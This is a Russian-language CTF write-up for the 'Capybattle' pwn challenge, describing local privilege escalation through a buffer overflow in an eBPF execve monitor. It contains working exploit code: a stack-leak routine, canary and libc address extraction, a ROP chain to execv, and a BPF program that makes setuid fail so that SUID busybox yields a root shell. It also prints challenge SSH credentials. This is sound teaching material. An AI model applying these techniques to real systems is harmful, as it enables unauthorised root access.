[T-CTF 2025, pwn] Capybattle writeup

Условие задачи

Категории: hard pwn linux

Автор: @mephi42, SPbCTF

Сегодня пройдет финал битвы огромных робокапибар. Сражения идут врукопашную. Некоторые игроки прознали, что у фаворита CAPY-9000 встроена ЭМ-пушка, которая выключает соперника. Это запрещено правилами. Взломайте робота CAPY-9000, найдите пушку и выключите ее.

ssh t-battle-ux658nop.spbctf.org
Username: battle
Password: 273V7UVE6QCV2XuuYsAvCA

Исходники: capybattle_7571838.tar.gz

Нерегламентированная ЭМ-пушка выключается командой /bin/deactivate

Материалы задания и решение лежат в репозитории: tctf25_capybattle_writeup.

Первичный анализ

Скачаем предоставленный архив и посмотрим, что же нам дали для решения задачи.

В первую очередь рассмотрим скрипт run-challenge:

# run-challenge

#!/bin/sh
set -e -u -x
exec qemu-system-x86_64 \
        -m 128M \
        -kernel bzImage \
        -initrd rootfs.cpio.zst \
        -nographic \
        -monitor none \
        -accel kvm \
        -fsdev local,id=host0,path=.,security_model=none,readonly=on \
        -device virtio-9p-pci,fsdev=host0,mount_tag=host \
        -netdev user,id=net0 \
        -device virtio-net-pci,netdev=net0 \
        -append "console=ttyS0 quiet root=/dev/vda" \
        "$@"

Видим, что запускается Linux’овая ВМ с заданным initrd. То есть, таска крутится на этой ВМ, в initrd которой лежит /bin/deactivate.

Заглянем в каталог src - увидим исходники утилит deactivate и execve_monitor (что за зверь?).

/bin/deactivate, как оказывается, устроен очень просто: программа пытается смонтировать файловую систему 9p для коммуникации с хостом, на котором запущена ВМ, и затем вычитывает файл с флагом с этой ФС и выводит его на экран.

Получили немного контекста - попробуем подключиться к указанному в задании серверу и запустить /bin/deactivate.

После подключения нас встречает следующее приглашение:

Configuring SLIRP networking...
SLIRP networking configured.
Starting execve monitor: OK

~ $

Первые две строки связаны с конфигурацией сети между ВМ и хостом, что необходимо для корректной работы 9p. А вот в третьей строке мы видим информацию о запуске execve_monitor, который мы уже увидели в src (и к которому в скором времени вернёмся).

Весьма ожидаемо, попытка запустить /bin/deactivate не увенчалась успехом:

~ $ /bin/deactivate
Failed to mount 9p filesystem: Operation not permitted

Нам не хватило прав для монтирования ФС, потому что работаем из-под пользователя user. Значит, нашей целью является LPE (local privilege escalation) и последующий запуск /bin/deactivate.

Что ж, заглянем в исходники утилиты execve_monitor и посмотрим, что же она делает. Уже по названию файлов в каталоге monitor понятно, что используется BPF (если эта аббревиатура загадочна, то рекомендую хотя бы пробежать глазами серию статей “BPF для самых маленьких”, ссылки есть в конце статьи). Не будем подробно останавливаться на логике загрузки BPF-программы, реализованной в execve_monitor.c, перейдем к файлу execve_monitor.bpf.c:

...
SEC("fmod_ret/__x64_sys_execve")
long BPF_PROG(handle_execve, struct pt_regs *regs, int ret)
{
...

Представленная BPF-программа вызывается при каждом исполнении системного вызова execve и релизует следующую фильтрацию:

static int fill_event(struct event *e, const char *pathname, const char **envp)
{
    int i, env_idx = 0, state = 0;
    const char *env_var;
    bool found = false;
    int err;

    // Use bpf_for() instead of a for loop, otherwise the verifier will not be
    // able to check that many iterations.
    bpf_for(i, 0, MAX_STRINGS_SIZE) {
        switch (state) {
        case 0:
           err = bpf_probe_read_user(&e->strings[i], 1, pathname++);
           if (e->strings[i] == 0) {
                state = 100;
           }
           break;
        case 100:
            err = bpf_probe_read_user(&env_var, sizeof(env_var), envp++);
            if (err < 0) {
                return err;
            }
            if (env_var == NULL) {
                return found ? i : 0;
            }
            if (env_idx >= MAX_ENV_VARS) {
                return -E2BIG;
            }
            e->env_offsets[env_idx++] = i;
            state = 101;
            /* fallthrough */
        default:
            err = bpf_probe_read_user(&e->strings[i], 1, env_var++);
            if (err < 0) {
                return err;
            }
            switch (state) {
                case 101: state = e->strings[i] == 'L' ? 102 : 999; break;
                case 102: state = e->strings[i] == 'D' ? 103 : 999; break;
                case 103: state = e->strings[i] == '_' ? 104 : 999; break;
                case 104: state = e->strings[i] == 'P' ? 105 : 999; break;
                case 105: state = e->strings[i] == 'R' ? 106 : 999; break;
                case 106: state = e->strings[i] == 'E' ? 107 : 999; break;
                case 107: state = e->strings[i] == 'L' ? 108 : 999; break;
                case 108: state = e->strings[i] == 'O' ? 109 : 999; break;
                case 109: state = e->strings[i] == 'A' ? 110 : 999; break;
                case 110: state = e->strings[i] == 'D' ? 111 : 999; break;
                case 111: found |= (e->strings[i] == '='); state = 999; break;
            }
            if (e->strings[i] == 0) {
                state = 100;
            }
            break;
        }
    }

    return -E2BIG;
}

То есть, запрещается вызов execve для программ, содержащих в числе своих переменных окружения LD_PRELOAD. В теории, это может являться защитой от подобного типа атаки: Linux Privilege Escalation using LD_Preload, но в нашем случае единственным SUID-ным бинарём на системе является busybox, с которым такой фокус не сработает:

~ $ find / -perm /u=s,g=s 2>/dev/null
/bin/busybox
~ $ ls -l /bin/busybox
-rwsr-xr-x    1 root     root        311136 Apr 25 03:11 /bin/busybox

execve_monitor запускается следующим образом при старте системы (src/buildroot-2025.02/buildroot-fs/etc/init.d/S51monitor):

    capsh \
        --keep=1 \
        --user=nobody \
        --caps=cap_bpf,cap_sys_resource,cap_perfmon+eip \
        --addamb=cap_bpf,cap_sys_resource,cap_perfmon \
        --shell=/bin/execve_monitor \
        -+ >/var/log/execve_monitor.log 2>&1 &

Важным для нас тут являются следующие факты:

  • execve_monitor работает с правами непривилегированного пользователя nobody;
  • У execve_monitor есть следующие capabilities: cap_bpf,cap_sys_resource,cap_perfmon;
  • stdout для execve_monitor находится в файле /var/log/execve_monitor.log.

Поиск уязвимости

Воспользуемся методом пристального взгляда (на самом деле, если эти файлы скормить ИИ-ассистентам по типу ChatGPT/DeepSeek, то те без промедления укажут на эту проблему) заметим, что в файлах execve_monitor.c и execve_monitor.bpf.c используется разный размер MAX_STRINGS_SIZE, в первом случае это #define MAX_STRINGS_SIZE (1 << 13), а во втором - #define MAX_STRINGS_SIZE (1 << 14). Эти константы используются в следующей структуре:

struct event {
    int env_offsets[MAX_ENV_VARS];
    char strings[MAX_STRINGS_SIZE];
};

То есть, размер массива strings в BPF-программе в два раза больше, чем в юзерспейсной программе. И вот код функции, которая вызывается в том случае, если при вызове execve была обнаружена переменная LD_PRELOAD:

static int handle_event(void *ctx __attribute__((unused)),
                        void *data, size_t data_sz)
{
    struct event e;
    int i;

    // Cast ring buffer data to struct event
    memcpy(&e, data, data_sz);
    
    // Path is always at offset 0
    fprintf(stderr, "=== Blocked suspicious execve(%s) attempt ===\n", e.strings);
    for (i = 0; e.env_offsets[i] != 0; i++) {
        fprintf(stderr, "%s\n", &e.strings[e.env_offsets[i]]);
    }
    fprintf(stderr, "===\n");
    
    return 0;
}

Налицо уязвимость buffer overflow, поскольку размер data потенциально может быть больше размера структуры e.

Защитные механизмы в execve_monitor и способ слить данные со стека

Чтоб понять, к каким сложностям следует готовиться при эксплуатации данной уязвимости, прогоним утилиту checksec над бинарём execve_monitor (который можно извлечь из предоставленного initrd):

nihonium@delta-win:~/capybattle$ checksec --file=rootfs/bin/execve_monitor
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols        No    0               2               rootfs/bin/execve_monitor

Наибольший интерес для нас представляет то, что на стеке присутствует канарейка, давайте подумаем, как её можно слить. И тут нам поможет то, что в BPF-программе не происходит зануления неиспользуемых элементов в event.env_offsets, что можно заметить, например, написав простенькую программу на C, которая вызывает execve и передает лишь одну переменную окружения LD_PRELOAD=smth. В логе /var/log/execve_monitor.log появится запись о попытке запуска и в этой записи будет несколько пустых строк. Это объясняется тем, что до нас execve вызывался еще несколько раз и количество строк в логе соответствует количеству переменных окружения в системе:

~ $ env
TERM=vt100
PATH=/bin:/sbin:/usr/bin:/usr/sbin
USER=user
LOGNAME=user
HOME=/home/user
SHELL=/bin/sh
HUSH_VERSION=1.37.0
PWD=/home/user
EDITOR=/bin/vi

То есть, можно слить любые данные со стека, которые лежат над struct event e в пределах (1 << 14) - (1 << 13) = 8192 байт, просто правильным образом вызвав execve с очень длинным envp из двух переменных и без упоминания LD_PRELOAD (чтоб структура ивента не копировалась в юзерспейс и не ломала исполнение нашей программы) и затем вызвать execve с одной только переменной LD_PRELOAD:

uint8_t leak_offset(size_t offset) {
	char *spl_envp[3];

	offset = offset - 13;

	char env0[offset];
	for(int i = 0; i < offset; ++i) {
		env0[i]='A';
	}
	env0[offset] = '\0';
		
	spl_envp[0] = env0;
	spl_envp[1] = "MEOW";
	spl_envp[2] = NULL;

	execve(spl_argv[0], NULL, spl_envp);

	spl_envp[0] = "LD_PRELOAD=";
	spl_envp[1] = NULL;

	execve(spl_argv[0], NULL, spl_envp);

        // Немного выжидаем, пока вывод запишется в /var/log/execve_monitor.log и получаем один ликнутый байт
        // Костыль, но работает =)
	sleep(1);
	return search_byte();
}

Отдельно следует отметить, что в event.strings хранятся просто pathname и все переменные окружения, переданные в execve, разделенные нулевым байтом. То есть код выше ликнет данные, начиная с того оффсета, где раньше начиналась переменная окружения MEOW.

Давайте попробуем слить содержимое стека, начиная с канарейки, которая находится по оффсету event.strings+8200, как можно увидеть в IDA Pro:

Для этого напишем экспоит leak_stack (есть в репозитории) и соберем его:

gcc -static leak_stack.c -o leak_stack

На этом этапе у нас уже есть некий прото-эксплоит (leak_stack) для печати 200 байт со стека, было бы круто теперь его запустить. Копировать его на целевую машину пока что не совсем ясно как, поэтому будем запускаться локально, используя следующий скрипт для перепаковки initrd и закидывания нашего эксплоита на ФС виртуальной машины:

#/usr/bin/env bash
set -euo pipefail

rm -rf rootfs/*
cd rootfs
zstd -cd ../rootfs.cpio.zst | cpio -id
echo "Unpacked initrd"

cp ../spl/leak_stack .
echo "Copied leak_stack"

find . -print0| cpio -H newc --null -o --owner=root:root | zstd -f -19 -o ../rootfs.cpio.zst
echo "Repacked initrd"

Перепакуем initrd и запустим ВМ:

sudo bash ./repack.sh && sudo ./run-challenge

Попробуем наш эксплоит:

~ $ /leak_stack

0000: 79 00 3b ae 16 24 ed 1b 20 4c 5b 4a d0 7f 00 00
0010: 00 24 00 00 00 00 00 00 b0 4f 5b 4a d0 7f 00 00
0020: ff 82 58 4a d0 7f 00 00 40 4f 5b 4a d0 7f 00 00
0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0040: 40 4f 5b 4a d0 7f 00 00 0c 00 00 00 00 00 00 00
0050: de 89 58 4a d0 7f 00 00 40 4f 5b 4a d0 7f 00 00
0060: c0 df 54 4a d0 7f 00 00 c0 c0 66 4a d0 7f 00 00
0070: 78 8c 09 7e fd 7f 00 00 00 00 00 00 00 00 00 00
0080: d0 12 40 00 00 00 00 00 01 00 00 00 00 00 00 00
0090: 68 8c 09 7e fd 7f 00 00 30 11 40 00 00 00 00 00
00a0: 1b 94 5d 4a d0 7f 00 00 00 00 00 00 00 00 00 00
00b0: c0 e6 66 4a d0 7f 00 00 00 00 00 00 00 00 00 00
00c0: 60 8c 09 7e fd 7f 00 00

Первые 8 байт - нужная нам канарейка (что странно, у неё нулевой второй младший байт, а не первый, как обычно), теперь нам нужно ликнуть адрес libc, чтоб реализовать ret2libc и воспользоваться нужными ROP-гаджетами из libc. Где-то выше по стеку программы находится адрес внутри функции main, а еще выше - адрес в libc, откуда вызывается функция main. Определим, какой оффсет в libc у инструкции, следующей за вызовом main:

Искомый оффсет: 0x1E41B. Даже при включенном ASLR три последних ниббла адреса не изменятся, то есть нам следует найти, где на стеке находится, адрес, заканчивающийся на 0x41B (не забываем про то, что у нас little-endian).

Обратим внимание на следующую строку в дампе стека выше:

00a0: 1b 94 5d 4a d0 7f 00 00 00 00 00 00 00 00 00 00

Вот и наш адрес возврата в libc: 0x7fd04a5d941b! Значит, базовый адрес libc при этом запуске был равен 0x7fd04a5d941b - 0x1e41b = 0x7fd04a5bb000. Теперь мы можем написать две отдельные функции для того, чтоб ликать канарейку и базовый адрес libc (здесь упрощенная логика обработки байта 0x0a, предполагаем, что это перенос строки между переменными окружения и заменяем на 0x00, иногда ВМ с эксплоитом надо запустить пару раз, если не повезёт):

uint64_t leak_libc() {
        uint8_t libc_bytes[6] = {0};
        uint64_t libc_addr = 0;
        uint8_t byte;

        for (int i = 0; i < 6; i++) {
                byte = leak_offset(8200 + 0xa0 + i);
                libc_bytes[i] = byte == 0x0A ? 0x00 : byte;
        }
        for (int i = 0; i < 6; i++) {
                libc_addr |= ((uint64_t)libc_bytes[i] << (8 * i));
        }
        printf("libc+__libc_start_main_ret: 0x%08llx\n", libc_addr);
        libc_addr -= 0x1E41B;
        printf("libc: 0x%08llx\n", libc_addr);
        return libc_addr;
}
uint64_t leak_canary() {
        uint8_t canary_bytes[8] = {0};
        uint64_t canary = 0;
        uint8_t byte;

        for (int i = 0; i < 8; i++) {
                byte = leak_offset(8200 + i);
                canary_bytes[i] = byte == 0x0A ? 0x00 : byte;
        }
        for (int i = 0; i < 8; i++) {
                canary |= ((uint64_t)canary_bytes[i] << (8 * i));
        }
        printf("canary: 0x%08llx\n", canary);
        return canary;
}

Исполнение произвольного кода (ret2libc)

Теперь, когда мы имеем на руках канарейку и базовый адрес libc, пришло время собирать ROP’чик из гаджетов, которые есть в бинаре execve_monitor и в libc. В идеале, хотелось бы уметь запускать бинарь с ФС с помощью execv, для этого нам надо сделать следующее:

  • Найти гаджет pop rdi; ret, чтоб пололжить адрес строки со стека в регистр rdi (первый аргумент для execv);
  • Найти/скрафтить строку, содержащую путь к исполняемому файлу, который мы хотим запустить, и положить адрес этой строки на стек;
  • Вызвать execv из libc.

Регистр rsi можно не занулять (второй аргумент execve, указатель на argv), главное - не использовать в запускаемом бинаре argv, чтоб тот не упал.

С помощью утилиты ROPGadget находим гаджет pop rdi; ret в libc:

nihonium@delta-win:~/capybattle$ ROPgadget  --binary libc.so | grep "pop rdi ; ret"
...
0x000000000001429c : pop rdi ; ret
...

Находим подходящую строку в execve_monitor, которую можно использовать как путь на ФС, куда мы положим наш бинарь:

nihonium@delta-win:~/capybattle$ strings -t x execve_monitor | grep tmp
   ...
   334c /tmp/buildroot-2025.02/monitor
   ...

Найдем оффсет execv в libc:

Итого, мы хотим скрафтить вот такой ROP’чик:

libc + 0x1429c : pop rdi ; ret
0x40334c: /tmp/buildroot-2025.02/monitor (базовый адрес исполняемого файла - 0x400000)
libc + 0x4CD20: execv

Полная функция pwn есть в репозитории с кодом решения, ниже представлена часть кода, в которой заполняются переменные окружения, которыми мы переполним буфер:

        spl_envp[0] = "LD_PRELOAD=";
        spl_envp[1] = filler0;
        spl_envp[2] = canary_single_byte;
        spl_envp[3] = &canary_bytes[2];
        spl_envp[4] = filler1;
        spl_envp[5] = two_zeroes;
        spl_envp[6] = pop_rdi_bytes;

        // ROP start
        // pop rdi
        spl_envp[7] = two_zeroes;
        spl_envp[8] = pop_rdi_bytes;

        // tmp path
        spl_envp[9] = two_zeroes;
        spl_envp[10] = tmp_path_bytes;
        spl_envp[11] = two_zeroes;
        spl_envp[12] = two_zeroes;
        spl_envp[13] = two_zeroes;

        // execve
        spl_envp[14] = two_zeroes;
        spl_envp[15] = libc_exit_bytes;
        spl_envp[16] = NULL;

        execve(spl_argv[0], NULL, spl_envp);

После запуска полноценного эксплоита, мы сможем исполнить произвольный бинарь, который предварительно положим по пути /tmp/buildroot-2025.02/monitor (не забыв сделать chmod +x над ним). Подобный бинарь можно вставить в сам бинарник эксплоита и затем распаковывать его на ФС и назначать +x, но я не стал этим заморачиваться.

Заметки по отладке эксплоита или как я искал байты в оперативке

В определенный момент написания ROP я наткнулся на то, что программа падала с SIGSEGV по неизвестной мне причине. Для того, чтоб разобраться с этой проблемой, я совершил следующий трюк:

  • Добавил в параметры запуска QEMU флаг -monitor unix:qemu-monitor-socket,server,nowait;
  • Запустил ВМ и эксплоит на ней;
  • В соседнем окне терминала подключился к монитору QEMU (из каталога, откуда запускалась ВМ): sudo socat -,echo=0,icanon=0 unix-connect:qemu-monitor-socket;
  • Из монитора сдампил физическую память ВМ в файл: dump-guest-memory memdump.out;
  • Открыл memdump.out в hexedit и искал характерные байты/строки (предварительно менял записываемые данные и адреса на что-то в духе “NYANYA”, чтоб было проще искать);
  • Сделал глубокие выводы о том, как данные лежат в памяти =)

Ломаем setuid с помощью BPF

Это всё очень здорово, что теперь мы можем исполнять произвольный код. Но давайте-ка вспомним, от какого юзера запущен execve_monitor. Правильно, от юзера nobody, у которого нет никаких особых прав (включая нужного нам для монтирования).

Но сам процесс execve_monitor имеет несколько интересных capabilities, например, может запускать BPF-код. Более того, они могут наследоваться дочерними процессами (+eip в вызове capsh).

Также вспомним, что у нас на ФС лежит лишь один SUID-ный бинарь - /bin/busybox, с помощью которого можно, например, запустить шелл (busybox sh). Сразу после старта busybox будет исполняться с правами владельца файла, root, и затем будет использована функция setuid (оборачивающая syscall) для того, чтоб дропнуть все эти привилегии до пользователя, который вызывал утилиту.

Хм, а чем же занимается execve_monitor, который мы так упорно пывнили? Верно, ломает системный вызов execve при выполнении некоторого условия!

Мы можем собрать программку setuid_fail, аналогичную execve_monitor, но ломающую вызов setuid. Затем положить скомпилированный бинарь setuid_fail по пути /tmp/buildroot-2025.02/monitor и запустить наш эксплоит.

Вот так будет выглядеть setuid_fail.bpf.c:

#include "vmlinux.h"
#include <bpf/bpf_core_read.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>

char LICENSE[] SEC("license") = "GPL";

struct {
    __uint(type, BPF_MAP_TYPE_RINGBUF);
    __uint(max_entries, 256 * 1024);
} rb SEC(".maps");

#define EPERM 1

SEC("fmod_ret/__x64_sys_setuid")
long BPF_PROG(handle_setuid, struct pt_regs *regs, int ret)
{
    // Block the setuid call
    return -EPERM;
}

Соберем теперь setuid_fail (после установки libbpf и bpftool):

root@debian-1:~/setuid_fail# bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h

root@debian-1:~/setuid_fail# clang -O2 -g -target bpf -c setuid_fail.bpf.c -o setuid_fail.bpf.o -static

root@debian-1:~/setuid_fail# bpftool gen skeleton setuid_fail.bpf.o > setuid_fail.skel.h

root@debian-1:~/setuid_fail# gcc setuid_fail.c setuid_fail.skel.h -lbpf -static -lelf -lz -o setuid_fail

Положим наш эксплоит и setuid_fail в initrd и запустимся:

Configuring SLIRP networking...
SLIRP networking configured.
Starting execve monitor: OK

~ $ mkdir /tmp/buildroot-2025.02/
~ $ cp /setuid_fail /tmp/buildroot-2025.02/monitor
~ $ chmod +x /tmp/buildroot-2025.02/monitor
~ $ /sploit
libc+__libc_start_main_ret: 0x7f615a8da41b
libc: 0x7f615a8bc000
canary: 0x395fe5cc9b7d0031
~ $ busybox sh
~ # whoami
root
~ #

Ура, победа! Осталось закинуть эксплоит и setuid_fail на машину с таской и забрать заслуженный флаг, запустив /bin/deactivate.

Инфильтрация и запуск эксплоита

Ни scp, ни иные подобные способы не сработали (что и не особо удивительно, т.к. мы, судя по всему, подключаемся к serial’у ВМки). Один умный человек поведал мне, что в таких случаях можно воспользоваться pwnlib.tubes, но когда я доделал это задание (в 6 утра), желания разбираться особо не было. Поэтому я поступил следующим образом:

  • Сконвертировал каждый из бинарей в base64 с -w 128 и записал в файл выхлоп;
  • В начале каждой строки в файле с base64 добавил echo , а в конец - >> filename.b64;
  • Скопировал эту портянку (>10k строк) в терминал, в котором был подключен к ВМ с заданием;
  • После вставки всего этого полотна в терминал, декодировал base64 и сверил SHA-256 с исходными файлами.

Ну и потом запускал эксплоит, как описано выше. Интересным моментом тут является то, что Windows Terminal не смог адекватно вставить такой массив текста и зажевал кучу строк, но Alacritty (который, на моё удивление, есть и под Windows) смог корректно всё это обработать.

Вуаля:

Вывод

Материалы задания, исходный код эксплоита и все нужные скрипты лежат в репозитории tctf25_capybattle_writeup. Флаг выкладывать не буду, чтоб не ломать читателю кайф собственноручной эксплуатации =)

Авторам - большое спасибо за классное задание!

Полезные ресурсы

Серия “BPF для самых маленьких”

Прочее

Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.